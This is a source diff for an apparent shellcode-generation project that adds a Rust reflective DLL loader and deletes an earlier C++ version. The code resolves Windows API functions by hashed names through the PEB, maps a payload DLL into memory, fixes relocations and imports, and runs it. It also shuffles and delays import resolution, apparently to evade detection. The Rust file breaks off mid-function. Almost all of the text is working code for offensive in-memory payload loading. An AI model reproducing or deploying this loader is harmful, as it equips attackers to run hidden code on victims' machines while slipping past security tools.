reflective_loader/Cargo.toml
Normal file
20
reflective_loader/Cargo.toml
Normal file
@ -0,0 +1,20 @@
|
||||
[package]
|
||||
name = "airborne-reflective_loader"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[lib]
|
||||
crate-type = ["cdylib"]
|
||||
|
||||
[dependencies]
|
||||
airborne-utils = { path = "../utils" }
|
||||
rand_core = "0.6.0"
|
||||
|
||||
[dependencies.windows-sys]
|
||||
version = "0.52.0"
|
||||
features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_System_Kernel",
|
||||
"Win32_System_Threading",
|
||||
"Win32_System_WindowsProgramming"
|
||||
]
|
@ -1,392 +0,0 @@
|
||||
#include "loader.hpp"
|
||||
|
||||
#include <tuple>
|
||||
#include <utility>
|
||||
#include <vector>
|
||||
|
||||
#include "../shared/crypto.hpp"
|
||||
|
||||
void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserDataLen, DWORD dwFlags) {
|
||||
/*
|
||||
1.) Locate the required functions and modules from exports with their hashed names
|
||||
*/
|
||||
|
||||
auto pbKernel32Dll = GetModuleAddressFromHash(KERNEL32_DLL_HASH);
|
||||
|
||||
if (pbKernel32Dll == nullptr) {
|
||||
return;
|
||||
}
|
||||
|
||||
std::random_device rd;
|
||||
std::mt19937 eng(rd());
|
||||
|
||||
auto pLoadLibraryW = reinterpret_cast<LOAD_LIBRARY_W>(GetExportAddrFromHash(pbKernel32Dll, LOAD_LIBRARY_W_HASH, &eng));
|
||||
auto pGetProcAddress = reinterpret_cast<GET_PROC_ADDRESS>(GetExportAddrFromHash(pbKernel32Dll, GET_PROC_ADDRESS_HASH, &eng));
|
||||
auto pVirtualAlloc = reinterpret_cast<VIRTUAL_ALLOC>(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_ALLOC_HASH, &eng));
|
||||
auto pFlushInstructionCache = reinterpret_cast<FLUSH_INSTRUCTION_CACHE>(GetExportAddrFromHash(pbKernel32Dll, FLUSH_INSTRUCTION_CACHE_HASH, &eng));
|
||||
auto pVirtualProtect = reinterpret_cast<VIRTUAL_PROTECT>(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_PROTECT_HASH, &eng));
|
||||
auto pSleep = reinterpret_cast<SLEEP>(GetExportAddrFromHash(pbKernel32Dll, SLEEP_HASH, &eng));
|
||||
|
||||
if (pLoadLibraryW == nullptr || pGetProcAddress == nullptr || pVirtualAlloc == nullptr || pFlushInstructionCache == nullptr || pVirtualProtect == nullptr || pSleep == nullptr) {
|
||||
return;
|
||||
}
|
||||
|
||||
/*
|
||||
2.) Load the target image to a newly allocated permanent memory location with RW permissions
|
||||
- https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c
|
||||
*/
|
||||
|
||||
auto pNtHeaders = GetNtHeaders(pImage);
|
||||
|
||||
if (pNtHeaders == nullptr) {
|
||||
return;
|
||||
} else if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
|
||||
return;
|
||||
} else if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) {
|
||||
return;
|
||||
} else if (pNtHeaders->OptionalHeader.SectionAlignment & 1) {
|
||||
return;
|
||||
}
|
||||
|
||||
auto dwImageSize = pNtHeaders->OptionalHeader.SizeOfImage;
|
||||
auto ullPreferredImageBase = pNtHeaders->OptionalHeader.ImageBase;
|
||||
|
||||
// Try to allocate the image to the preferred base address
|
||||
auto pNewImageBase = reinterpret_cast<ULONG_PTR>(pVirtualAlloc(reinterpret_cast<LPVOID>(ullPreferredImageBase), dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
||||
|
||||
if (!pNewImageBase) {
|
||||
// Try to allocate the image to any available base address
|
||||
pNewImageBase = reinterpret_cast<ULONG_PTR>(pVirtualAlloc(nullptr, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
||||
|
||||
if (!pNewImageBase) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
CopyHeadersAndSections(pNewImageBase, pImage, pNtHeaders);
|
||||
|
||||
/*
|
||||
3.) Process the image relocations (assumes the image couldn't be loaded to the preferred base address)
|
||||
*/
|
||||
|
||||
auto ulpDelta = pNewImageBase - pNtHeaders->OptionalHeader.ImageBase;
|
||||
auto pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
|
||||
if (!ProcessRelocations(pNewImageBase, pDataDir, ulpDelta)) {
|
||||
return;
|
||||
}
|
||||
|
||||
/*
|
||||
4.) Resolve the imports by patching the Import Address Table (IAT)
|
||||
*/
|
||||
|
||||
if (!PatchImportAddressTable(pNewImageBase, pDataDir, pLoadLibraryW, pGetProcAddress, pSleep, &eng)) {
|
||||
return;
|
||||
}
|
||||
|
||||
/*
|
||||
5.) Finalize the sections by setting protective permissions after mapping the image
|
||||
*/
|
||||
|
||||
FinalizeRelocations(pNewImageBase, pNtHeaders, pVirtualProtect, pFlushInstructionCache);
|
||||
|
||||
/*
|
||||
6.) Execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
|
||||
*/
|
||||
|
||||
if (dwFlags == 0) {
|
||||
// Execute DllMain with DLL_PROCESS_ATTACH
|
||||
auto pDllMain = reinterpret_cast<DLL_MAIN>(pNewImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
|
||||
// Optionally user data could also be passed to the DllMain instead of a separate function
|
||||
pDllMain(reinterpret_cast<HMODULE>(pNewImageBase), DLL_PROCESS_ATTACH, nullptr);
|
||||
} else {
|
||||
// Execute user defined function
|
||||
auto pbNewImageBase = reinterpret_cast<PBYTE>(pNewImageBase);
|
||||
auto pUserFunction = reinterpret_cast<USER_FUNCTION>(GetExportAddrFromHash(pbNewImageBase, dwFunctionHash, &eng));
|
||||
pUserFunction(pvUserData, dwUserDataLen);
|
||||
}
|
||||
}
|
||||
|
||||
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache) {
|
||||
auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
|
||||
|
||||
DWORD dwOldProtect, dwNewProtect;
|
||||
LPVOID lpAddress;
|
||||
|
||||
for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) {
|
||||
dwNewProtect = 0;
|
||||
|
||||
// Definitions for readability
|
||||
DWORD dwIsExecutable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
|
||||
DWORD dwIsReadable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0;
|
||||
DWORD dwIsWritable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
|
||||
|
||||
if (!dwIsExecutable && !dwIsReadable && !dwIsWritable) {
|
||||
dwNewProtect = PAGE_NOACCESS;
|
||||
}
|
||||
|
||||
if (dwIsWritable) {
|
||||
dwNewProtect = PAGE_WRITECOPY;
|
||||
}
|
||||
|
||||
if (dwIsReadable) {
|
||||
dwNewProtect = PAGE_READONLY;
|
||||
}
|
||||
|
||||
if (dwIsWritable && dwIsReadable) {
|
||||
dwNewProtect = PAGE_READWRITE;
|
||||
}
|
||||
|
||||
if (dwIsExecutable) {
|
||||
dwNewProtect = PAGE_EXECUTE;
|
||||
}
|
||||
|
||||
if (dwIsExecutable && dwIsWritable) {
|
||||
dwNewProtect = PAGE_EXECUTE_WRITECOPY;
|
||||
}
|
||||
|
||||
if (dwIsExecutable && dwIsReadable) {
|
||||
dwNewProtect = PAGE_EXECUTE_READ;
|
||||
}
|
||||
|
||||
if (dwIsExecutable && dwIsWritable && dwIsReadable) {
|
||||
dwNewProtect = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
lpAddress = reinterpret_cast<LPVOID>(pNewImageBase + pSectionHeader->VirtualAddress);
|
||||
pVirtualProtect(lpAddress, pSectionHeader->Misc.VirtualSize, dwNewProtect, &dwOldProtect);
|
||||
}
|
||||
|
||||
pFlushInstructionCache(INVALID_HANDLE_VALUE, nullptr, 0);
|
||||
}
|
||||
|
||||
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 *eng) {
|
||||
auto pImportDescriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
|
||||
|
||||
if (pImportDescriptor == nullptr) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
1.) Shuffle Import Table entries
|
||||
2.) Delay the relocation of each import a semirandom duration
|
||||
3.) Conditional execution based on ordinal/name
|
||||
4.) Indirect function call via pointer
|
||||
*/
|
||||
|
||||
int importCount = 0;
|
||||
auto pId = pImportDescriptor;
|
||||
|
||||
while (pId->Name) {
|
||||
importCount++;
|
||||
pId++;
|
||||
}
|
||||
|
||||
std::vector<std::pair<int, DWORD>> sleepDurations;
|
||||
std::uniform_int_distribution<> sleepDist(1000, MAX_IMPORT_DELAY_MS);
|
||||
|
||||
if (importCount > 1 && OBFUSCATE_IMPORTS) {
|
||||
for (auto i = 0; i < importCount - 1; i++) {
|
||||
std::uniform_int_distribution<> distr(i, importCount - 1);
|
||||
int j = distr(*eng);
|
||||
|
||||
// Swap
|
||||
auto tmp = pImportDescriptor[i];
|
||||
pImportDescriptor[i] = pImportDescriptor[j];
|
||||
pImportDescriptor[j] = tmp;
|
||||
|
||||
// Store unique sleep durations with their corresponding import index
|
||||
auto sleepTime = sleepDist(*eng);
|
||||
sleepDurations.push_back(std::make_pair(i, sleepTime));
|
||||
}
|
||||
}
|
||||
|
||||
LPCWSTR pwszModuleName;
|
||||
HMODULE hModule;
|
||||
PIMAGE_THUNK_DATA64 pThunkData, pThunkDataIat;
|
||||
|
||||
for (auto i = 0; pImportDescriptor->Name; pImportDescriptor++, i++) {
|
||||
// Apply delay
|
||||
if (OBFUSCATE_IMPORTS) {
|
||||
auto it = std::find_if(sleepDurations.begin(), sleepDurations.end(), [i](const std::pair<int, DWORD> &pair) { return pair.first == i; });
|
||||
|
||||
if (it != sleepDurations.end()) {
|
||||
pSleep(it->second);
|
||||
}
|
||||
}
|
||||
|
||||
pwszModuleName = reinterpret_cast<LPCWSTR>(pNewImageBase + pImportDescriptor->Name);
|
||||
hModule = pLoadLibraryW(pwszModuleName);
|
||||
|
||||
if (hModule == nullptr) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
pThunkData = reinterpret_cast<PIMAGE_THUNK_DATA64>(pNewImageBase + pImportDescriptor->OriginalFirstThunk);
|
||||
pThunkDataIat = reinterpret_cast<PIMAGE_THUNK_DATA64>(pNewImageBase + pImportDescriptor->FirstThunk);
|
||||
|
||||
LPCSTR lpProcName;
|
||||
PIMAGE_IMPORT_BY_NAME pImportByName;
|
||||
|
||||
for (auto j = 0; pThunkData->u1.Function; pThunkData++, pThunkDataIat++, j++) {
|
||||
if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64) {
|
||||
// High bits masked out to get the ordinal number
|
||||
lpProcName = reinterpret_cast<LPCSTR>(pThunkData->u1.Ordinal & 0xFFFF);
|
||||
} else {
|
||||
// The address of the imported function is stored in the IMAGE_IMPORT_BY_NAME structure
|
||||
pImportByName = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(pNewImageBase + pThunkData->u1.AddressOfData);
|
||||
lpProcName = pImportByName->Name;
|
||||
}
|
||||
|
||||
pThunkDataIat->u1.Function = reinterpret_cast<ULONGLONG>(pGetProcAddress(hModule, lpProcName));
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta) {
|
||||
auto pRelocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(pNewImageBase + pDataDirectory->VirtualAddress);
|
||||
|
||||
if (pRelocation == nullptr || pDataDirectory->Size == 0) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Upper bound to prevent accessing memory part the end of the relocation data
|
||||
auto dwRelocationEnd = pDataDirectory->VirtualAddress + pDataDirectory->Size;
|
||||
PIMAGE_RELOC pRelocationList;
|
||||
|
||||
while (pRelocation->VirtualAddress && pRelocation->VirtualAddress <= dwRelocationEnd && pRelocation->SizeOfBlock) {
|
||||
pRelocationList = reinterpret_cast<PIMAGE_RELOC>(pRelocation + 1);
|
||||
|
||||
while (reinterpret_cast<PBYTE>(pRelocationList) < reinterpret_cast<PBYTE>(pRelocation) + pRelocation->SizeOfBlock) {
|
||||
auto pPatchAddress = reinterpret_cast<PBYTE>(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset);
|
||||
|
||||
// Note -- Types adjusted from PULONG_PTR to PDWORD and PWORD
|
||||
switch (pRelocationList->type) {
|
||||
case IMAGE_REL_BASED_DIR64:
|
||||
*reinterpret_cast<PULONG_PTR>(pPatchAddress) += ulpDelta;
|
||||
break;
|
||||
case IMAGE_REL_BASED_HIGHLOW:
|
||||
*reinterpret_cast<PDWORD>(pPatchAddress) += static_cast<DWORD>(ulpDelta);
|
||||
break;
|
||||
case IMAGE_REL_BASED_HIGH:
|
||||
*reinterpret_cast<PWORD>(pPatchAddress) += HIWORD(ulpDelta);
|
||||
break;
|
||||
case IMAGE_REL_BASED_LOW:
|
||||
*reinterpret_cast<PWORD>(pPatchAddress) += LOWORD(ulpDelta);
|
||||
break;
|
||||
default:
|
||||
continue;
|
||||
}
|
||||
|
||||
pRelocationList++;
|
||||
}
|
||||
|
||||
pRelocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(pRelocationList);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders) {
|
||||
// Copy headers
|
||||
auto pbDst = reinterpret_cast<PBYTE>(pNewImageBase);
|
||||
std::copy(pbImage, pbImage + pNtHeaders->OptionalHeader.SizeOfHeaders, pbDst);
|
||||
|
||||
// Copy sections
|
||||
auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
|
||||
pbDst = reinterpret_cast<PBYTE>(pNewImageBase + pSectionHeader->VirtualAddress);
|
||||
|
||||
PBYTE pbSrc;
|
||||
|
||||
for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) {
|
||||
pbSrc = reinterpret_cast<PBYTE>(pbImage + pSectionHeader->PointerToRawData);
|
||||
std::copy(pbSrc, pbSrc + pSectionHeader->SizeOfRawData, pbDst);
|
||||
}
|
||||
}
|
||||
|
||||
PBYTE GetModuleAddressFromHash(DWORD dwHash) {
|
||||
// https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
|
||||
#if defined(_WIN64)
|
||||
// PEB is at GS:[0x60]
|
||||
auto pPEB = reinterpret_cast<PPEB>(__readgsqword(0x60));
|
||||
#else
|
||||
// PEB is at FS:[0x30]
|
||||
auto pPEB = reinterpret_cast<PPEB>(__readfsdword(0x30));
|
||||
#endif
|
||||
|
||||
auto pLdr = reinterpret_cast<PMY_PEB_LDR_DATA>(pPEB->Ldr);
|
||||
auto pEntry = reinterpret_cast<PMY_LDR_DATA_TABLE_ENTRY>(pLdr->InLoadOrderModuleList.Flink);
|
||||
|
||||
while (pEntry->DllBase != NULL) {
|
||||
if (CalculateHash(pEntry->BaseDllName) == dwHash && pEntry->DllBase != nullptr) {
|
||||
return reinterpret_cast<PBYTE>(pEntry->DllBase);
|
||||
}
|
||||
|
||||
pEntry = reinterpret_cast<PMY_LDR_DATA_TABLE_ENTRY>(pEntry->InLoadOrderLinks.Flink);
|
||||
}
|
||||
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 *eng) {
|
||||
auto pNtHeaders = GetNtHeaders(pbModule);
|
||||
|
||||
if (pNtHeaders == nullptr) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
auto *pExportDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
auto *pExport = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(pbModule + pExportDir->VirtualAddress);
|
||||
|
||||
/*
|
||||
1.) Read the export data (dwNameRva's)
|
||||
2.) Shuffle the order of the collected export name RVA's
|
||||
3.) Find the correct export by calculating hashes of the function names
|
||||
*/
|
||||
|
||||
DWORD dwNameRva;
|
||||
std::vector<std::tuple<DWORD, size_t>> vNameRvas;
|
||||
|
||||
for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
|
||||
dwNameRva = (reinterpret_cast<DWORD *>(pbModule + pExport->AddressOfNames))[i];
|
||||
vNameRvas.push_back(std::make_tuple(dwNameRva, i));
|
||||
}
|
||||
|
||||
std::shuffle(vNameRvas.begin(), vNameRvas.end(), *eng);
|
||||
|
||||
DWORD dwNameHash, dwFunctionRva;
|
||||
UNICODE_STRING *strFunctionNameBase;
|
||||
WORD wOrdinal;
|
||||
|
||||
for (auto dwNRva : vNameRvas) {
|
||||
strFunctionNameBase = reinterpret_cast<UNICODE_STRING *>(pbModule + std::get<0>(dwNRva));
|
||||
dwNameHash = CalculateHash(*strFunctionNameBase);
|
||||
|
||||
if (dwNameHash == dwHash) {
|
||||
wOrdinal = (reinterpret_cast<WORD *>(pbModule + pExport->AddressOfNameOrdinals))[std::get<1>(dwNRva)];
|
||||
dwFunctionRva = (reinterpret_cast<DWORD *>(pbModule + pExport->AddressOfFunctions))[wOrdinal];
|
||||
|
||||
return reinterpret_cast<HMODULE>(pbModule + dwFunctionRva);
|
||||
}
|
||||
}
|
||||
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage) {
|
||||
auto pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(pbImage);
|
||||
|
||||
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
auto pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS64>(pbImage + pDosHeader->e_lfanew);
|
||||
|
||||
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
return pNtHeaders;
|
||||
}
|
@ -1,71 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
#include <algorithm>
|
||||
#include <random>
|
||||
|
||||
constexpr auto MAX_IMPORT_DELAY_MS = 6 * 1000;
|
||||
constexpr auto OBFUSCATE_IMPORTS = 1;
|
||||
|
||||
constexpr DWORD KERNEL32_DLL_HASH = 0x6DDB9555;
|
||||
constexpr DWORD LOAD_LIBRARY_W_HASH = 0xB7072FF1;
|
||||
constexpr DWORD GET_PROC_ADDRESS_HASH = 0xDECFC1BF;
|
||||
constexpr DWORD VIRTUAL_ALLOC_HASH = 0x097BC257;
|
||||
constexpr DWORD FLUSH_INSTRUCTION_CACHE_HASH = 0xEFB7BF9D;
|
||||
constexpr DWORD VIRTUAL_PROTECT_HASH = 0xE857500D;
|
||||
constexpr DWORD SLEEP_HASH = 0x0E07CD7E;
|
||||
|
||||
// Function pointer typedefs from MSDN
|
||||
using LOAD_LIBRARY_W = HMODULE(WINAPI *)(LPCWSTR);
|
||||
using GET_PROC_ADDRESS = ULONG_PTR(WINAPI *)(HMODULE, LPCSTR);
|
||||
using VIRTUAL_ALLOC = LPVOID(WINAPI *)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
using FLUSH_INSTRUCTION_CACHE = BOOL(WINAPI *)(HANDLE, LPCVOID, SIZE_T);
|
||||
using VIRTUAL_PROTECT = BOOL(WINAPI *)(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
using SLEEP = VOID(WINAPI *)(DWORD);
|
||||
|
||||
// Payload function pointer typedefs
|
||||
using DLL_MAIN = BOOL(WINAPI *)(HMODULE, DWORD, LPVOID);
|
||||
using USER_FUNCTION = BOOL(WINAPI *)(LPVOID, DWORD);
|
||||
|
||||
// Complete WinAPI PEB structs
|
||||
struct _MY_PEB_LDR_DATA {
|
||||
ULONG Length;
|
||||
BOOL Initialized;
|
||||
PVOID SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
};
|
||||
using MY_PEB_LDR_DATA = _MY_PEB_LDR_DATA;
|
||||
using PMY_PEB_LDR_DATA = _MY_PEB_LDR_DATA *;
|
||||
|
||||
struct _MY_LDR_DATA_TABLE_ENTRY {
|
||||
LIST_ENTRY InLoadOrderLinks;
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
LIST_ENTRY InInitializationOrderLinks;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
};
|
||||
using MY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY;
|
||||
using PMY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY *;
|
||||
|
||||
struct _IMAGE_RELOC {
|
||||
WORD offset : 12;
|
||||
WORD type : 4;
|
||||
};
|
||||
using IMAGE_RELOC = _IMAGE_RELOC;
|
||||
using PIMAGE_RELOC = _IMAGE_RELOC *;
|
||||
|
||||
PBYTE GetModuleAddressFromHash(DWORD dwHash);
|
||||
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 *eng);
|
||||
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage);
|
||||
|
||||
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders);
|
||||
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta);
|
||||
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 *eng);
|
||||
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache);
|
593
reflective_loader/src/lib.rs
Normal file
593
reflective_loader/src/lib.rs
Normal file
@ -0,0 +1,593 @@
|
||||
#![no_std]
|
||||
|
||||
mod memory;
|
||||
|
||||
use core::{
|
||||
arch::asm,
|
||||
ffi::c_void,
|
||||
mem::{size_of, transmute},
|
||||
ptr::null_mut,
|
||||
slice::from_raw_parts,
|
||||
};
|
||||
|
||||
use windows_sys::{
|
||||
core::PWSTR,
|
||||
Win32::{
|
||||
Foundation::{BOOL, HMODULE},
|
||||
System::{
|
||||
Diagnostics::Debug::{
|
||||
IMAGE_DATA_DIRECTORY, IMAGE_DIRECTORY_ENTRY_BASERELOC,
|
||||
IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_DIRECTORY_ENTRY_IMPORT, IMAGE_NT_HEADERS64,
|
||||
IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE,
|
||||
IMAGE_SECTION_HEADER,
|
||||
},
|
||||
Memory::{
|
||||
MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE,
|
||||
PAGE_EXECUTE_WRITECOPY, PAGE_NOACCESS, PAGE_READONLY, PAGE_READWRITE,
|
||||
PAGE_WRITECOPY,
|
||||
},
|
||||
SystemServices::{
|
||||
DLL_PROCESS_ATTACH, IMAGE_BASE_RELOCATION, IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE,
|
||||
IMAGE_EXPORT_DIRECTORY, IMAGE_IMPORT_BY_NAME, IMAGE_IMPORT_DESCRIPTOR,
|
||||
IMAGE_NT_SIGNATURE, IMAGE_ORDINAL_FLAG64, IMAGE_REL_BASED_DIR64,
|
||||
IMAGE_REL_BASED_HIGHLOW,
|
||||
},
|
||||
Threading::{PEB, TEB},
|
||||
WindowsProgramming::IMAGE_THUNK_DATA64,
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
use crate::memory::*;
|
||||
|
||||
// must be edited based on the number of imports in the IDT of the payload
|
||||
// const IMPORT_COUNT: usize = 100;
|
||||
// const MAX_IMPORT_DELAY_MS: u32 = 5000;
|
||||
|
||||
#[cfg(not(test))]
|
||||
#[panic_handler]
|
||||
fn panic(_info: &core::panic::PanicInfo) -> ! {
|
||||
loop {}
|
||||
}
|
||||
|
||||
// TODO: check if i8 types can be replaced with u8 types (especially in pointers)
|
||||
|
||||
// TODO: remove _fltused and _DllMainCRTStartup (and uncomment DllMain) if deemed unnecessary after testing
|
||||
|
||||
#[export_name = "_fltused"]
|
||||
static _FLTUSED: i32 = 0;
|
||||
|
||||
#[no_mangle]
|
||||
#[allow(non_snake_case)]
|
||||
pub unsafe extern "system" fn _DllMainCRTStartup(
|
||||
_module: HMODULE,
|
||||
_call_reason: u32,
|
||||
_reserved: *mut c_void,
|
||||
) -> BOOL {
|
||||
1
|
||||
}
|
||||
|
||||
//#[no_mangle]
|
||||
//#[allow(non_snake_case)]
|
||||
//pub unsafe extern "system" fn DllMain(_module: HMODULE, _reason: u32, _reserved: *mut u8) -> BOOL {
|
||||
// 1
|
||||
//}
|
||||
|
||||
#[link_section = ".text"]
|
||||
#[no_mangle]
|
||||
pub unsafe extern "system" fn loader(
|
||||
payload_dll: *mut c_void,
|
||||
function_hash: u32,
|
||||
user_data: *mut c_void,
|
||||
user_data_len: u32,
|
||||
_shellcode_bin: *mut c_void,
|
||||
flags: u32,
|
||||
) {
|
||||
/*
|
||||
1.) locate the required functions and modules from exports with their hashed names
|
||||
*/
|
||||
|
||||
let kernel32_base_ptr = get_module_ptr(KERNEL32_DLL).unwrap();
|
||||
let _ntdll_base_ptr = get_module_ptr(NTDLL_DLL).unwrap();
|
||||
|
||||
if kernel32_base_ptr.is_null() || _ntdll_base_ptr.is_null() {
|
||||
return;
|
||||
}
|
||||
|
||||
let far_procs = get_export_ptrs(kernel32_base_ptr).unwrap();
|
||||
|
||||
/*
|
||||
2.) load the target image to a newly allocated permanent memory location with RW permissions
|
||||
*/
|
||||
|
||||
let module_base_ptr = payload_dll as *mut u8;
|
||||
|
||||
if module_base_ptr.is_null() {
|
||||
return;
|
||||
}
|
||||
|
||||
let module_dos_header_ptr = module_base_ptr as *mut IMAGE_DOS_HEADER;
|
||||
let module_nt_headers_ptr = (module_base_ptr as usize
|
||||
+ (*module_dos_header_ptr).e_lfanew as usize)
|
||||
as *mut IMAGE_NT_HEADERS64;
|
||||
let module_img_size = (*module_nt_headers_ptr).OptionalHeader.SizeOfImage as usize;
|
||||
let preferred_base_ptr = (*module_nt_headers_ptr).OptionalHeader.ImageBase as *mut c_void;
|
||||
let base_addr_ptr = allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs);
|
||||
|
||||
if base_addr_ptr.is_null() {
|
||||
return;
|
||||
}
|
||||
|
||||
copy_pe(base_addr_ptr, module_base_ptr, module_nt_headers_ptr);
|
||||
|
||||
/*
|
||||
3.) process the image relocations (assumes the image couldn't be loaded to the preferred base address)
|
||||
*/
|
||||
|
||||
let data_dir_slice = (*module_nt_headers_ptr).OptionalHeader.DataDirectory;
|
||||
let relocation_ptr: *mut IMAGE_BASE_RELOCATION = rva_mut(
|
||||
base_addr_ptr as _,
|
||||
data_dir_slice[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].VirtualAddress as usize,
|
||||
);
|
||||
|
||||
if relocation_ptr.is_null() {
|
||||
return;
|
||||
}
|
||||
|
||||
process_relocations(
|
||||
base_addr_ptr,
|
||||
module_nt_headers_ptr,
|
||||
relocation_ptr,
|
||||
&data_dir_slice,
|
||||
);
|
||||
|
||||
/*
|
||||
4.) resolve the imports by patching the Import Address Table (IAT)
|
||||
*/
|
||||
|
||||
let import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR = rva_mut(
|
||||
base_addr_ptr as _,
|
||||
data_dir_slice[IMAGE_DIRECTORY_ENTRY_IMPORT as usize].VirtualAddress as usize,
|
||||
);
|
||||
|
||||
if import_descriptor_ptr.is_null() {
|
||||
return;
|
||||
}
|
||||
|
||||
patch_iat(base_addr_ptr, import_descriptor_ptr, &far_procs);
|
||||
|
||||
/*
|
||||
5.) finalize the sections by setting protective permissions after mapping the image
|
||||
*/
|
||||
|
||||
finalize_relocations(base_addr_ptr, module_nt_headers_ptr, &far_procs);
|
||||
|
||||
/*
|
||||
6.) execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
|
||||
*/
|
||||
|
||||
if flags == 0 {
|
||||
let dll_main_addr = base_addr_ptr as usize
|
||||
+ (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize;
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
let DllMain = transmute::<_, DllMain>(dll_main_addr);
|
||||
|
||||
